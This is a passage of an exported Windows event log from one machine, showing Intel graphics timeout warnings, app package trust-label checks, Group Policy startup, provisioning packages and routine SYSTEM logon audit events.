08:38:34.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:35.231\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:37.445\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:37.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:39.345\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:39.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:39.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:40.230\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:40.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:40.786\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:41.013\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:41.685\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:42.132\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:43.024\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:43.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:43.570\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.471\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.802\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:38:45.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:47.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:56.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:02.055\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:39:02.079\t201\tCreated process 13580 for application Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer in package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:39:02.146\t211\tAdded process 5116 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:39:02.362\t8100\tStarting validation and setting the Trust Label on package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.372\t8101\tFinished validation and setting the Trust Label on package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.389\t8100\tStarting validation and setting the Trust Label on package Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.391\t8106\tPackage Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x122\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.391\t8101\tFinished validation and setting the Trust Label on package Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.392\t8000\t\"Process Name: C:\\WINDOWS\\system32\\svchost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.392\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.393\t8001\t\"Skipping license manager: PFN Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.411\t8100\tStarting validation and setting the Trust Label on package Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.413\t8106\tPackage Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x122\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.413\t8101\tFinished validation and setting the Trust Label on package Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.414\t8001\t\"Skipping license manager: PFN Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.424\t8100\tStarting validation and setting the Trust Label on package Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.426\t8106\tPackage Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x122\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.426\t8101\tFinished validation and setting the Trust Label on package Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.427\t8001\t\"Skipping license manager: PFN Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.453\t8100\tStarting validation and setting the Trust Label on package Microsoft.MicrosoftEdge.Stable_152.0.4191.53_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.455\t8101\tFinished validation and setting the Trust Label on package Microsoft.MicrosoftEdge.Stable_152.0.4191.53_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.464\t8100\tStarting validation and setting the Trust Label on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.466\t8101\tFinished validation and setting the Trust Label on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.476\t8100\tStarting validation and setting the Trust Label on package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.478\t8101\tFinished validation and setting the Trust Label on package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:04.326\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WhqlProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:39:05.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:05.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:06.381\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:06.919\t1018\t\"ReadyBoot disk assessment completed in 563 ms.\n     Disk Assessment Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:39:06.368586900Z\n     Result: 0x44C\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:39:06.947\t90\t\"Settings detail.\nsource = LogonIdleTask.\npackageIdToDelete = .\npackagePathsToAdd = .\"\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:07.011\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:07.044\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.044\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.069\t4019\tDcSvc: Service is being initialized.\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.069\t4009\tDcSvc: Service status updated. Current state: (0x2), Exit code: (0x0), Wait hint: (0x64).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.069\t4000\tDcSvc: Successfully initialized service. Result: (The operation completed successfully.).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.069\t4009\tDcSvc: Service status updated. Current state: (0x4), Exit code: (0x0), Wait hint: (0x0).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.748\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.748\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.767\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.771\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.772\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 0.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.772\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.773\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.775\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.776\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.777\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: f6220be5-9108-4ed7-bae9-40e6046eeaa4\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.779\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.808\t16\tThe access history in hive \\??\\C:\\ProgramData\\Microsoft\\Provisioning\\Microsoft-Desktop-Provisioning-Sequence.dat was cleared updating 0 keys and creating 0 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:39:08.005\t20\tApplying package 'Power.EnergyEstimationEngine.Control.ppkg' ID: {1e05dd5d-a022-46c5-963c-b20de341170f}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.011\t20\tApplying package 'Power.EnergyEstimationEngine.CPU.ppkg' ID: {c5dc3753-b6c8-4057-b396-bf13d769311c}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.016\t20\tApplying package 'Power.EnergyEstimationEngine.Display.ppkg' ID: {ee4aac98-c174-4941-82b1-d121e493e4fb}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.021\t20\tApplying package 'Power.EnergyEstimationEngine.MBB.ppkg' ID: {99b095d8-5959-4820-bea7-7448c8427b4e}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.028\t20\tApplying package 'Power.EnergyEstimationEngine.StandbyActivation.ppkg' ID: {8d196d7f-3eef-48ad-8bea-be749f12d3ad}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.034\t20\tApplying package 'Power.EnergyEstimationEngine.Storage.ppkg' ID: {9aec5bda-1e87-46b3-bb96-1a01c606555e}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.039\t20\tApplying package 'Power.EnergyEstimationEngine.Telemetry.ppkg' ID: {8fb7d64e-70fc-4f9d-89ee-d486817534df}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.045\t20\tApplying package 'Power.EnergyEstimationEngine.Wifi.ppkg' ID: {b0b9123d-7d7f-4c6b-9973-ceced46f2a09}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.050\t20\tApplying package 'Power.Settings.Battery.ppkg' ID: {7a30a9be-737f-47a1-a541-6e7b0761ed19}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.054\t20\tApplying package 'Power.Settings.Button.ppkg' ID: {18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.059\t20\tApplying package 'Power.Settings.Control.ppkg' ID: {5f568920-10ad-4dc0-a97e-b78a3255c351}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.064\t20\tApplying package 'Power.Settings.Disk.ppkg' ID: {9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.070\t20\tApplying package 'Power.Settings.Display.ppkg' ID: {23cb517f-5073-4e96-a202-7fe6122a2271}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.076\t20\tApplying package 'Power.Settings.Graphics.ppkg' ID: {bf56ce5a-946b-45b5-858a-1794eb0125e2}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.081\t20\tApplying package 'Power.Settings.IdleResiliency.ppkg' ID: {f11899f2-71ec-4621-9997-e17ae2f6eb26}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.088\t20\tApplying package 'Power.Settings.PCIExpress.ppkg' ID: 